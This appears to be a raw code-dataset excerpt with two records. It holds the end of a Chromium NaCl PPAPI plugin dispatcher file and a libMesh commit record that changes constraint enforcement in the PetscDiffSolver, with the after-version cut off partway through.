IPC_LOG_TABLE_ADD_ENTRY(msg_id, logger) \\\n  g_log_function_mapping[msg_id] = logger\n\n#endif\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n\n\/\/ This must match up with NACL_CHROME_INITIAL_IPC_DESC,\n\/\/ defined in sel_main_chrome.h\n#define NACL_IPC_FD 6\n\nusing ppapi::proxy::PluginDispatcher;\nusing ppapi::proxy::PluginGlobals;\nusing ppapi::proxy::PluginProxyDelegate;\nusing ppapi::proxy::ProxyChannel;\nusing ppapi::proxy::SerializedHandle;\n\nnamespace {\n\n\/\/ This class manages communication between the plugin and the browser, and\n\/\/ manages the PluginDispatcher instances for communication between the plugin\n\/\/ and the renderer.\nclass PpapiDispatcher : public ProxyChannel,\n                        public PluginDispatcher::PluginDelegate,\n                        public PluginProxyDelegate {\n public:\n  explicit PpapiDispatcher(scoped_refptr<base::MessageLoopProxy> io_loop);\n\n  \/\/ PluginDispatcher::PluginDelegate implementation.\n  virtual base::MessageLoopProxy* GetIPCMessageLoop() OVERRIDE;\n  virtual base::WaitableEvent* GetShutdownEvent() OVERRIDE;\n  virtual IPC::PlatformFileForTransit ShareHandleWithRemote(\n      base::PlatformFile handle,\n      base::ProcessId peer_pid,\n      bool should_close_source) OVERRIDE;\n  virtual std::set<PP_Instance>* GetGloballySeenInstanceIDSet() OVERRIDE;\n  virtual uint32 Register(PluginDispatcher* plugin_dispatcher) OVERRIDE;\n  virtual void Unregister(uint32 plugin_dispatcher_id) OVERRIDE;\n\n  \/\/ PluginProxyDelegate implementation.\n  virtual IPC::Sender* GetBrowserSender() OVERRIDE;\n  virtual std::string GetUILanguage() OVERRIDE;\n  virtual void PreCacheFont(const void* logfontw) OVERRIDE;\n  virtual void SetActiveURL(const std::string& url) OVERRIDE;\n  virtual PP_Resource CreateBrowserFont(\n      ppapi::proxy::Connection connection,\n      PP_Instance instance,\n      const PP_BrowserFont_Trusted_Description& desc,\n      const ppapi::Preferences& prefs) OVERRIDE;\n\n  \/\/ IPC::Listener implementation.\n  virtual bool OnMessageReceived(const IPC::Message& message) OVERRIDE;\n\n private:\n  void OnMsgCreateNaClChannel(int renderer_id,\n                              const ppapi::PpapiNaClChannelArgs& args,\n                              SerializedHandle handle);\n  void OnMsgResourceReply(\n      const ppapi::proxy::ResourceMessageReplyParams& reply_params,\n      const IPC::Message& nested_msg);\n  void OnPluginDispatcherMessageReceived(const IPC::Message& msg);\n\n  std::set<PP_Instance> instances_;\n  std::map<uint32, PluginDispatcher*> plugin_dispatchers_;\n  uint32 next_plugin_dispatcher_id_;\n  scoped_refptr<base::MessageLoopProxy> message_loop_;\n  base::WaitableEvent shutdown_event_;\n};\n\nPpapiDispatcher::PpapiDispatcher(scoped_refptr<base::MessageLoopProxy> io_loop)\n    : next_plugin_dispatcher_id_(0),\n      message_loop_(io_loop),\n      shutdown_event_(true, false) {\n  IPC::ChannelHandle channel_handle(\n      \"NaCl IPC\", base::FileDescriptor(NACL_IPC_FD, false));\n  \/\/ We don't have\/need a PID since handle sharing happens outside of the\n  \/\/ NaCl sandbox.\n  InitWithChannel(this, base::kNullProcessId, channel_handle,\n                  false);  \/\/ Channel is server.\n  channel()->AddFilter(\n      new tracing::ChildTraceMessageFilter(message_loop_.get()));\n}\n\nbase::MessageLoopProxy* PpapiDispatcher::GetIPCMessageLoop() {\n  return message_loop_.get();\n}\n\nbase::WaitableEvent* PpapiDispatcher::GetShutdownEvent() {\n  return &shutdown_event_;\n}\n\nIPC::PlatformFileForTransit PpapiDispatcher::ShareHandleWithRemote(\n    base::PlatformFile handle,\n    base::ProcessId peer_pid,\n    bool should_close_source) {\n  return IPC::InvalidPlatformFileForTransit();\n}\n\nstd::set<PP_Instance>* PpapiDispatcher::GetGloballySeenInstanceIDSet() {\n  return &instances_;\n}\n\nuint32 PpapiDispatcher::Register(PluginDispatcher* plugin_dispatcher) {\n  if (!plugin_dispatcher ||\n      plugin_dispatchers_.size() >= std::numeric_limits<uint32>::max()) {\n    return 0;\n  }\n\n  uint32 id = 0;\n  do {\n    \/\/ Although it is unlikely, make sure that we won't cause any trouble\n    \/\/ when the counter overflows.\n    id = next_plugin_dispatcher_id_++;\n  } while (id == 0 ||\n           plugin_dispatchers_.find(id) != plugin_dispatchers_.end());\n  plugin_dispatchers_[id] = plugin_dispatcher;\n  return id;\n}\n\nvoid PpapiDispatcher::Unregister(uint32 plugin_dispatcher_id) {\n  plugin_dispatchers_.erase(plugin_dispatcher_id);\n}\n\nIPC::Sender* PpapiDispatcher::GetBrowserSender() {\n  return this;\n}\n\nstd::string PpapiDispatcher::GetUILanguage() {\n  NOTIMPLEMENTED();\n  return std::string();\n}\n\nvoid PpapiDispatcher::PreCacheFont(const void* logfontw) {\n  NOTIMPLEMENTED();\n}\n\nvoid PpapiDispatcher::SetActiveURL(const std::string& url) {\n  NOTIMPLEMENTED();\n}\n\nPP_Resource PpapiDispatcher::CreateBrowserFont(\n    ppapi::proxy::Connection connection,\n    PP_Instance instance,\n    const PP_BrowserFont_Trusted_Description& desc,\n    const ppapi::Preferences& prefs) {\n  NOTIMPLEMENTED();\n  return 0;\n}\n\nbool PpapiDispatcher::OnMessageReceived(const IPC::Message& msg) {\n  IPC_BEGIN_MESSAGE_MAP(PpapiDispatcher, msg)\n    IPC_MESSAGE_HANDLER(PpapiMsg_CreateNaClChannel, OnMsgCreateNaClChannel)\n    IPC_MESSAGE_HANDLER(PpapiPluginMsg_ResourceReply, OnMsgResourceReply)\n    \/\/ All other messages are simply forwarded to a PluginDispatcher.\n    IPC_MESSAGE_UNHANDLED(OnPluginDispatcherMessageReceived(msg))\n  IPC_END_MESSAGE_MAP()\n  return true;\n}\n\nvoid PpapiDispatcher::OnMsgCreateNaClChannel(\n    int renderer_id,\n    const ppapi::PpapiNaClChannelArgs& args,\n    SerializedHandle handle) {\n  static bool command_line_and_logging_initialized = false;\n  if (!command_line_and_logging_initialized) {\n    CommandLine::Init(0, NULL);\n    for (size_t i = 0; i < args.switch_names.size(); ++i) {\n      DCHECK(i < args.switch_values.size());\n      CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n          args.switch_names[i], args.switch_values[i]);\n    }\n    logging::LoggingSettings settings;\n    settings.logging_dest = logging::LOG_TO_SYSTEM_DEBUG_LOG;\n    logging::InitLogging(settings);\n    command_line_and_logging_initialized = true;\n  }\n  \/\/ Tell the process-global GetInterface which interfaces it can return to the\n  \/\/ plugin.\n  ppapi::proxy::InterfaceList::SetProcessGlobalPermissions(\n      args.permissions);\n\n  int32_t error = ::PPP_InitializeModule(\n      0 \/* module *\/,\n      &ppapi::proxy::PluginDispatcher::GetBrowserInterface);\n  if (error)\n    ::exit(error);\n\n\n  PluginDispatcher* dispatcher =\n      new PluginDispatcher(::PPP_GetInterface, args.permissions,\n                           args.off_the_record);\n  \/\/ The channel handle's true name is not revealed here.\n  IPC::ChannelHandle channel_handle(\"nacl\", handle.descriptor());\n  if (!dispatcher->InitPluginWithChannel(this, base::kNullProcessId,\n                                         channel_handle, false)) {\n    delete dispatcher;\n    return;\n  }\n  \/\/ From here, the dispatcher will manage its own lifetime according to the\n  \/\/ lifetime of the attached channel.\n}\n\nvoid PpapiDispatcher::OnMsgResourceReply(\n    const ppapi::proxy::ResourceMessageReplyParams& reply_params,\n    const IPC::Message& nested_msg) {\n  ppapi::proxy::PluginDispatcher::DispatchResourceReply(reply_params,\n                                                        nested_msg);\n}\n\nvoid PpapiDispatcher::OnPluginDispatcherMessageReceived(\n    const IPC::Message& msg) {\n  \/\/ The first parameter should be a plugin dispatcher ID.\n  PickleIterator iter(msg);\n  uint32 id = 0;\n  if (!msg.ReadUInt32(&iter, &id)) {\n    NOTREACHED();\n    return;\n  }\n  std::map<uint32, ppapi::proxy::PluginDispatcher*>::iterator dispatcher =\n      plugin_dispatchers_.find(id);\n  if (dispatcher != plugin_dispatchers_.end())\n    dispatcher->second->OnMessageReceived(msg);\n}\n\n}  \/\/ namespace\n\nvoid PpapiPluginRegisterThreadCreator(\n    const struct PP_ThreadFunctions* thread_functions) {\n  \/\/ Initialize all classes that need to create threads that call back into\n  \/\/ user code.\n  ppapi::PPB_Audio_Shared::SetThreadFunctions(thread_functions);\n}\n\nint PpapiPluginMain() {\n  \/\/ Though it isn't referenced here, we must instantiate an AtExitManager.\n  base::AtExitManager exit_manager;\n  base::MessageLoop loop;\n  IPC::Logging::set_log_function_map(&g_log_function_mapping);\n  ppapi::proxy::PluginGlobals plugin_globals;\n  base::Thread io_thread(\"Chrome_NaClIOThread\");\n  base::Thread::Options options;\n  options.message_loop_type = base::MessageLoop::TYPE_IO;\n  io_thread.StartWithOptions(options);\n\n  \/\/ Start up the SRPC server on another thread. Otherwise, when it blocks\n  \/\/ on an RPC, the PPAPI proxy will hang. Do this before we initialize the\n  \/\/ module and start the PPAPI proxy so that the NaCl plugin can continue\n  \/\/ loading the app.\n  static struct NaClSrpcHandlerDesc srpc_methods[] = { { NULL, NULL } };\n  if (!NaClSrpcAcceptClientOnThread(srpc_methods)) {\n    return 1;\n  }\n\n  PpapiDispatcher ppapi_dispatcher(io_thread.message_loop_proxy());\n  plugin_globals.set_plugin_proxy_delegate(&ppapi_dispatcher);\n\n  loop.Run();\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2017 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\n#include \"libmesh\/diff_system.h\"\n#include \"libmesh\/dof_map.h\"\n#include \"libmesh\/libmesh_logging.h\"\n#include \"libmesh\/petsc_diff_solver.h\"\n#include \"libmesh\/petsc_matrix.h\"\n#include \"libmesh\/petsc_vector.h\"\n#include \"libmesh\/petsc_auto_fieldsplit.h\"\n\n#ifdef LIBMESH_HAVE_PETSC\n\nnamespace libMesh\n{\n\n\/\/--------------------------------------------------------------------\n\/\/ Functions with C linkage to pass to PETSc.  PETSc will call these\n\/\/ methods as needed.\n\/\/\n\/\/ Since they must have C linkage they have no knowledge of a namespace.\n\/\/ Give them an obscure name to avoid namespace pollution.\nextern \"C\"\n{\n  \/\/ Function to hand to PETSc's SNES,\n  \/\/ which monitors convergence at X\n  PetscErrorCode\n  __libmesh_petsc_diff_solver_monitor (SNES snes,\n                                       PetscInt its,\n                                       PetscReal fnorm,\n                                       void * ctx)\n  {\n    PetscDiffSolver & solver =\n      *(static_cast<PetscDiffSolver *> (ctx));\n\n    if (solver.verbose)\n      libMesh::out << \"  PetscDiffSolver step \" << its\n                   << \", |residual|_2 = \" << fnorm << std::endl;\n    if (solver.linear_solution_monitor.get()) {\n      int ierr = 0;\n\n      Vec petsc_delta_u;\n      ierr = SNESGetSolutionUpdate(snes, &petsc_delta_u);\n      CHKERRABORT(solver.comm().get(), ierr);\n      PetscVector<Number> delta_u(petsc_delta_u, solver.comm());\n      delta_u.close();\n\n      Vec petsc_u;\n      ierr = SNESGetSolution(snes, &petsc_u);\n      CHKERRABORT(solver.comm().get(), ierr);\n      PetscVector<Number> u(petsc_u, solver.comm());\n      u.close();\n\n      Vec petsc_res;\n      ierr = SNESGetFunction(snes, &petsc_res, libmesh_nullptr, libmesh_nullptr);\n      CHKERRABORT(solver.comm().get(), ierr);\n      PetscVector<Number> res(petsc_res, solver.comm());\n      res.close();\n\n      (*solver.linear_solution_monitor)(\n                                        delta_u, delta_u.l2_norm(),\n                                        u, u.l2_norm(),\n                                        res, res.l2_norm(), its);\n    }\n    return 0;\n  }\n\n  \/\/ Functions to hand to PETSc's SNES,\n  \/\/ which compute the residual or jacobian at X\n  PetscErrorCode\n  __libmesh_petsc_diff_solver_residual (SNES, Vec x, Vec r, void * ctx)\n  {\n    libmesh_assert(x);\n    libmesh_assert(r);\n    libmesh_assert(ctx);\n\n    PetscDiffSolver & solver =\n      *(static_cast<PetscDiffSolver*> (ctx));\n    ImplicitSystem & sys = solver.system();\n\n    if (solver.verbose)\n      libMesh::out << \"Assembling the residual\" << std::endl;\n\n    PetscVector<Number> & X_system =\n      *cast_ptr<PetscVector<Number> *>(sys.solution.get());\n    PetscVector<Number> & R_system =\n      *cast_ptr<PetscVector<Number> *>(sys.rhs);\n    PetscVector<Number> X_input(x, sys.comm()), R_input(r, sys.comm());\n\n    \/\/ DiffSystem assembles from the solution and into the rhs, so swap\n    \/\/ those with our input vectors before assembling.  They'll probably\n    \/\/ already be references to the same vectors, but PETSc might do\n    \/\/ something tricky.\n    X_input.swap(X_system);\n    R_input.swap(R_system);\n\n    \/\/ We may need to correct a non-conforming solution\n    sys.get_dof_map().enforce_constraints_exactly(sys);\n\n    \/\/ We may need to localize a parallel solution\n    sys.update();\n\n    \/\/ Do DiffSystem assembly\n    sys.assembly(true, false);\n    R_system.close();\n\n    \/\/ Swap back\n    X_input.swap(X_system);\n    R_input.swap(R_system);\n\n    \/\/ No errors, we hope\n    return 0;\n  }\n\n\n#if PETSC_RELEASE_LESS_THAN(3,5,0)\n  PetscErrorCode\n  __libmesh_petsc_diff_solver_jacobian (SNES,\n                                        Vec x,\n                                        Mat * libmesh_dbg_var(j),\n                                        Mat * pc,\n                                        MatStructure * msflag,\n                                        void * ctx)\n#else\n    PetscErrorCode\n    __libmesh_petsc_diff_solver_jacobian (SNES,\n                                          Vec x,\n                                          Mat libmesh_dbg_var(j),\n                                          Mat pc,\n                                          void * ctx)\n#endif\n  {\n    libmesh_assert(x);\n    libmesh_assert(j);\n    \/\/  libmesh_assert_equal_to (pc, j);  \/\/ We don't use separate preconditioners yet\n    libmesh_assert(ctx);\n\n    PetscDiffSolver & solver =\n      *(static_cast<PetscDiffSolver*> (ctx));\n    ImplicitSystem & sys = solver.system();\n\n    if (solver.verbose)\n      libMesh::out << \"Assembling the Jacobian\" << std::endl;\n\n    PetscVector<Number> & X_system =\n      *cast_ptr<PetscVector<Number> *>(sys.solution.get());\n    PetscVector<Number> X_input(x, sys.comm());\n\n#if PETSC_RELEASE_LESS_THAN(3,5,0)\n    PetscMatrix<Number> J_input(*pc, sys.comm());\n#else\n    PetscMatrix<Number> J_input(pc, sys.comm());\n#endif\n    PetscMatrix<Number> & J_system =\n      *cast_ptr<PetscMatrix<Number> *>(sys.matrix);\n\n    \/\/ DiffSystem assembles from the solution and into the jacobian, so\n    \/\/ swap those with our input vectors before assembling.  They'll\n    \/\/ probably already be references to the same vectors, but PETSc\n    \/\/ might do something tricky.\n    X_input.swap(X_system);\n    J_input.swap(J_system);\n\n    \/\/ We may need to correct a non-conforming solution\n    sys.get_dof_map().enforce_constraints_exactly(sys);\n\n    \/\/ We may need to localize a parallel solution\n    sys.update();\n\n    \/\/ Do DiffSystem assembly\n    sys.assembly(false, true);\n    J_system.close();\n\n    \/\/ Swap back\n    X_input.swap(X_system);\n    J_input.swap(J_system);\n\n#if PETSC_RELEASE_LESS_THAN(3,5,0)\n    *msflag = SAME_NONZERO_PATTERN;\n#endif\n    \/\/ No errors, we hope\n    return 0;\n  }\n\n} \/\/ extern \"C\"\n\n\nPetscDiffSolver::PetscDiffSolver (sys_type & s)\n  : Parent(s)\n{\n}\n\n\nvoid PetscDiffSolver::init ()\n{\n  LOG_SCOPE(\"init()\", \"PetscDiffSolver\");\n\n  Parent::init();\n\n  int ierr=0;\n\n  ierr = SNESCreate(this->comm().get(),&_snes);\n  LIBMESH_CHKERR(ierr);\n\n  ierr = SNESMonitorSet (_snes, __libmesh_petsc_diff_solver_monitor,\n                         this, PETSC_NULL);\n  LIBMESH_CHKERR(ierr);\n\n  if (libMesh::on_command_line(\"--solver_system_names\"))\n    {\n      ierr = SNESSetOptionsPrefix(_snes, (_system.name()+\"_\").c_str());\n      LIBMESH_CHKERR(ierr);\n    }\n\n  ierr = SNESSetFromOptions(_snes);\n  LIBMESH_CHKERR(ierr);\n\n  KSP my_ksp;\n  ierr = SNESGetKSP(_snes, &my_ksp);\n  LIBMESH_CHKERR(ierr);\n\n  PC my_pc;\n  ierr = KSPGetPC(my_ksp, &my_pc);\n  LIBMESH_CHKERR(ierr);\n\n  petsc_auto_fieldsplit(my_pc, _system);\n}\n\n\n\nPetscDiffSolver::~PetscDiffSolver ()\n{\n}\n\n\n\nvoid PetscDiffSolver::clear()\n{\n  LOG_SCOPE(\"clear()\", \"PetscDiffSolver\");\n\n  int ierr = LibMeshSNESDestroy(&_snes);\n  LIBMESH_CHKERR(ierr);\n}\n\n\n\nvoid PetscDiffSolver::reinit()\n{\n  Parent::reinit();\n\n  KSP my_ksp;\n  int ierr = SNESGetKSP(_snes, &my_ksp);\n  LIBMESH_CHKERR(ierr);\n\n  PC my_pc;\n  ierr = KSPGetPC(my_ksp, &my_pc);\n  LIBMESH_CHKERR(ierr);\n\n  petsc_auto_fieldsplit(my_pc, _system);\n}\n\n\n\nDiffSolver::SolveResult convert_solve_result(SNESConvergedReason r)\n{\n  switch (r)\n    {\n    case SNES_CONVERGED_FNORM_ABS:\n      return DiffSolver::CONVERGED_ABSOLUTE_RESIDUAL;\n    case SNES_CONVERGED_FNORM_RELATIVE:\n      return DiffSolver::CONVERGED_RELATIVE_RESIDUAL;\n#if PETSC_VERSION_LESS_THAN(3,2,1)\n    case SNES_CONVERGED_PNORM_RELATIVE:\n#else\n    case SNES_CONVERGED_SNORM_RELATIVE:\n#endif\n      return DiffSolver::CONVERGED_RELATIVE_STEP;\n    case SNES_CONVERGED_ITS:\n    case SNES_CONVERGED_TR_DELTA:\n      return DiffSolver::CONVERGED_NO_REASON;\n    case SNES_DIVERGED_FUNCTION_DOMAIN:\n    case SNES_DIVERGED_FUNCTION_COUNT:\n    case SNES_DIVERGED_FNORM_NAN:\n#if !PETSC_VERSION_LESS_THAN(3,3,0)\n    case SNES_DIVERGED_INNER:\n#endif\n    case SNES_DIVERGED_LINEAR_SOLVE:\n    case SNES_DIVERGED_LOCAL_MIN:\n      return DiffSolver::DIVERGED_NO_REASON;\n    case SNES_DIVERGED_MAX_IT:\n      return DiffSolver::DIVERGED_MAX_NONLINEAR_ITERATIONS;\n#if PETSC_VERSION_LESS_THAN(3,2,0)\n    case SNES_DIVERGED_LS_FAILURE:\n#else\n    case SNES_DIVERGED_LINE_SEARCH:\n#endif\n      return DiffSolver::DIVERGED_BACKTRACKING_FAILURE;\n      \/\/ In PETSc, SNES_CONVERGED_ITERATING means\n      \/\/ the solve is still iterating, but by the\n      \/\/ time we get here, we must have either\n      \/\/ converged or diverged, so\n      \/\/ SNES_CONVERGED_ITERATING is invalid.\n    case SNES_CONVERGED_ITERATING:\n      return DiffSolver::INVALID_SOLVE_RESULT;\n    default:\n      break;\n    }\n  return DiffSolver::INVALID_SOLVE_RESULT;\n}\n\n\n\nunsigned int PetscDiffSolver::solve()\n{\n  this->init();\n\n  LOG_SCOPE(\"solve()\", \"PetscDiffSolver\");\n\n  PetscVector<Number> & x =\n    *(cast_ptr<PetscVector<Number> *>(_system.solution.get()));\n  PetscMatrix<Number> & jac =\n    *(cast_ptr<PetscMatrix<Number> *>(_system.matrix));\n  PetscVector<Number> & r =\n    *(cast_ptr<PetscVector<Number> *>(_system.rhs));\n\n#ifdef LIBMESH_ENABLE_CONSTRAINTS\n  _system.get_dof_map().enforce_constraints_exactly(_system);\n#endif\n\n  int ierr = 0;\n\n  ierr = SNESSetFunction (_snes, r.vec(),\n                          __libmesh_petsc_diff_solver_residual, this);\n  LIBMESH_CHKERR(ierr);\n\n  ierr = SNESSetJacobian (_snes, jac.mat(), jac.mat(),\n                          __libmesh_petsc_diff_solver_jacobian, this);\n  LIBMESH_CHKERR(ierr);\n\n  ierr = SNESSolve (_snes, PETSC_NULL, x.vec());\n  LIBMESH_CHKERR(ierr);\n\n  SNESConvergedReason reason;\n  SNESGetConvergedReason(_snes, &reason);\n\n  this->clear();\n\n  return convert_solve_result(reason);\n}\n\n\n} \/\/ namespace libMesh\n\n#endif \/\/ LIBMESH_HAVE_PETSC\n<commit_msg>solve PETSc lock<commit_after>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2017 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\n#include \"libmesh\/diff_system.h\"\n#include \"libmesh\/dof_map.h\"\n#include \"libmesh\/libmesh_logging.h\"\n#include \"libmesh\/petsc_diff_solver.h\"\n#include \"libmesh\/petsc_matrix.h\"\n#include \"libmesh\/petsc_vector.h\"\n#include \"libmesh\/petsc_auto_fieldsplit.h\"\n\n#ifdef LIBMESH_HAVE_PETSC\n\nnamespace libMesh\n{\n\n\/\/--------------------------------------------------------------------\n\/\/ Functions with C linkage to pass to PETSc.  PETSc will call these\n\/\/ methods as needed.\n\/\/\n\/\/ Since they must have C linkage they have no knowledge of a namespace.\n\/\/ Give them an obscure name to avoid namespace pollution.\nextern \"C\"\n{\n  \/\/ Function to hand to PETSc's SNES,\n  \/\/ which monitors convergence at X\n  PetscErrorCode\n  __libmesh_petsc_diff_solver_monitor (SNES snes,\n                                       PetscInt its,\n                                       PetscReal fnorm,\n                                       void * ctx)\n  {\n    PetscDiffSolver & solver =\n      *(static_cast<PetscDiffSolver *> (ctx));\n\n    if (solver.verbose)\n      libMesh::out << \"  PetscDiffSolver step \" << its\n                   << \", |residual|_2 = \" << fnorm << std::endl;\n    if (solver.linear_solution_monitor.get()) {\n      int ierr = 0;\n\n      Vec petsc_delta_u;\n      ierr = SNESGetSolutionUpdate(snes, &petsc_delta_u);\n      CHKERRABORT(solver.comm().get(), ierr);\n      PetscVector<Number> delta_u(petsc_delta_u, solver.comm());\n      delta_u.close();\n\n      Vec petsc_u;\n      ierr = SNESGetSolution(snes, &petsc_u);\n      CHKERRABORT(solver.comm().get(), ierr);\n      PetscVector<Number> u(petsc_u, solver.comm());\n      u.close();\n\n      Vec petsc_res;\n      ierr = SNESGetFunction(snes, &petsc_res, libmesh_nullptr, libmesh_nullptr);\n      CHKERRABORT(solver.comm().get(), ierr);\n      PetscVector<Number> res(petsc_res, solver.comm());\n      res.close();\n\n      (*solver.linear_solution_monitor)(\n                                        delta_u, delta_u.l2_norm(),\n                                        u, u.l2_norm(),\n                                        res, res.l2_norm(), its);\n    }\n    return 0;\n  }\n\n  \/\/ Functions to hand to PETSc's SNES,\n  \/\/ which compute the residual or jacobian at X\n  PetscErrorCode\n  __libmesh_petsc_diff_solver_residual (SNES, Vec x, Vec r, void * ctx)\n  {\n    libmesh_assert(x);\n    libmesh_assert(r);\n    libmesh_assert(ctx);\n\n    PetscDiffSolver & solver =\n      *(static_cast<PetscDiffSolver*> (ctx));\n    ImplicitSystem & sys = solver.system();\n\n    if (solver.verbose)\n      libMesh::out << \"Assembling the residual\" << std::endl;\n\n    PetscVector<Number> & X_system =\n      *cast_ptr<PetscVector<Number> *>(sys.solution.get());\n    PetscVector<Number> & R_system =\n      *cast_ptr<PetscVector<Number> *>(sys.rhs);\n    PetscVector<Number> X_input(x, sys.comm()), R_input(r, sys.comm());\n\n    \/\/ DiffSystem assembles from the solution and into the rhs, so swap\n    \/\/ those with our input vectors before assembling.  They'll probably\n    \/\/ already be references to the same vectors, but PETSc might do\n    \/\/ something tricky.\n    X_input.swap(X_system);\n    R_input.swap(R_system);\n\n    \/\/ We may need to correct a non-conforming solution\n    sys.get_dof_map().enforce_constraints_exactly(sys, sys.current_local_solution.get());\n\n    \/\/ We may need to localize a parallel solution\n    sys.update();\n\n    \/\/ Do DiffSystem assembly\n    sys.assembly(true, false);\n    R_system.close();\n\n    \/\/ Swap back\n    X_input.swap(X_system);\n    R_input.swap(R_system);\n\n    \/\/ No errors, we hope\n    return 0;\n  }\n\n\n#if PETSC_RELEASE_LESS_THAN(3,5,0)\n  PetscErrorCode\n  __libmesh_petsc_diff_solver_jacobian (SNES,\n                                        Vec x,\n                                        Mat * libmesh_dbg_var(j),\n                                        Mat * pc,\n                                        MatStructure * msflag,\n                                        void * ctx)\n#else\n    PetscErrorCode\n    __libmesh_petsc_diff_solver_jacobian (SNES,\n                                          Vec x,\n                                          Mat libmesh_dbg_var(j),\n                                          Mat pc,\n                                          void * ctx)\n#endif\n  {\n    libmesh_assert(x);\n    libmesh_assert(j);\n    \/\/  libmesh_assert_equal_to (pc, j);  \/\/ We don't use separate preconditioners yet\n    libmesh_assert(ctx);\n\n    PetscDiffSolver & solver =\n      *(static_cast<PetscDiffSolver*> (ctx));\n    ImplicitSystem & sys = solver.system();\n\n    if (solver.verbose)\n      libMesh::out << \"Assembling the Jacobian\" << std::endl;\n\n    PetscVector<Number> & X_system =\n      *cast_ptr<PetscVector<Number> *>(sys.solution.get());\n    PetscVector<Number> X_input(x, sys.comm());\n\n#if PETSC_RELEASE_LESS_THAN(3,5,0)\n    PetscMatrix<Number> J_input(*pc, sys.comm());\n#else\n    PetscMatrix<Number> J_input(pc, sys.comm());\n#endif\n    PetscMatrix<Number> & J_system =\n      *cast_ptr<PetscMatrix<Number> *>(sys.matrix);\n\n    \/\/ DiffSystem assembles from the solution and into the jacobian, so\n    \/\/ swap those with our input vectors before assembling.  They'll\n    \/\/ probably already be references to the same vectors, but PETSc\n    \/\/ might do something tricky.\n    X_input.swap(X_system);\n    J_input.swap(J_system);\n\n    \/\/ We may need to correct a non-conforming solution\n    sys.get_dof_map().enforce_constraints_exactly(sys, sys.current_local_solution.get());\n\n    \/\/ We may need to localize a parallel solution\n    sys.update();\n\n    \/\/ Do DiffSystem assembly\n    sys.assembly(false, true);\n    J_system.close();\n\n    \/\/ Swap back\n    X_input.swap(X_system);\n    J_input.swap(J_system);\n\n#if PETSC_RELEASE_LESS_THAN(3,5,0)\n    *msflag = SAME_NONZERO_PATTERN;\n#endif\n    \/\/ No errors, we hope\n    return 0;\n  }\n\n} \/\/ extern \"C\"\n\n\nPetscDiffSolver::PetscDiffSolver (sys_type & s)\n  : Parent(s)\n{\n}\n\n\nvoid PetscDiffSolver::init ()\n{\n  LOG_SCOPE(\"init()\", \"PetscDiffSolver\");\n\n  Parent::init();\n\n  int ierr=0;\n\n  ierr = SNESCreate(this->comm().get(),&_snes);\n  LIBMESH_CHKERR(ierr);\n\n  ierr = SNESMonitorSet (_snes, __libmesh_petsc_diff_solver_monitor,\n                         this, PETSC_NULL);\n  LIBMESH_CHKERR(ierr);\n\n  if (libMesh::on_command_line(\"--solver_system_names\"))\n    {\n      ierr = SNESSetOptionsPrefix(_snes, (_system.name()+\"_\").c_str());\n      LIBMESH_CHKERR(ierr);\n    }\n\n  ierr = SNESSetFromOptions(_snes);\n  LIBMESH_CHKERR(ierr);\n\n  KSP my_ksp;\n  ierr = SNESGetKSP(_snes, &my_ksp);\n  LIBMESH_CHKERR(ierr);\n\n  PC my_pc;\n  ierr = KSPGetPC(my_ksp, &my_pc);\n  LIBMESH_CHKERR(ierr);\n\n  petsc_auto_fieldsplit(my_pc, _system);\n}\n\n\n\nPetscDiffSolver::~PetscDiffSolver ()\n{\n}\n\n\n\nvoid PetscDiffSolver::clear()\n{\n  LOG_SCOPE(\"clear()\", \"PetscDiffSolver\");\n\n  int ierr = LibMeshSNESDestroy(&_snes);\n  LIBMESH_CHKERR(ierr);\n}\n\n\n\nvoid PetscDiffSolver::reinit()\n{\n  Parent::reinit();\n\n  KSP my_ksp;\n  int ierr = SNESGetKSP(_snes, &my_ksp);\n  LIBMESH_CHKERR(ierr);\n\n  PC my_pc;\n  ierr = KSPGetPC(my_ksp, &my_pc);\n  LIBMESH_CHKERR(ierr);\n\n  petsc_auto_fieldsplit(my_pc, _system);\n}\n\n\n\nDiffSolver::SolveResult convert_solve_result(SNESConvergedReason r)\n{\n  switch (r)\n    {\n    case SNES_CONVERGED_FNORM_ABS:\n      return DiffSolver::CONVERGED_ABSOLUTE_RESIDUAL;\n    case SNES_CONVERGED_FNORM_RELATIVE:\n      return DiffSolver::CONVERGED_RELATIVE_RESIDUAL;\n#if PETSC_VERSION_LESS_THAN(3,2,1)\n    case SNES_CONVERGED_PNORM_RELATIVE:\n#else\n    case SNES_CONVERGED_SNORM_RELATIVE:\n#endif\n      return DiffSolver::CONVERGED_RELATIVE_STEP;\n    case SNES_CONVERGED_ITS:\n    case SNES_CONVERGED_TR_DELTA:\n      return DiffSolver::CONVERGED_NO_REASON;\n    case SNES_DIVERGED_FUNCTION_DOMAIN:\n    case SNES_DIVERGED_FUNCTION_COUNT:\n    case SNES_DIVERGED_FNORM_NAN:\n#if !PETSC_VERSION_LESS_THAN(3,3,0)\n    case SNES_DIVERGED_INNER:\n#endif\n    case SNES_DIVERGED_LINEAR_SOLVE:\n    case 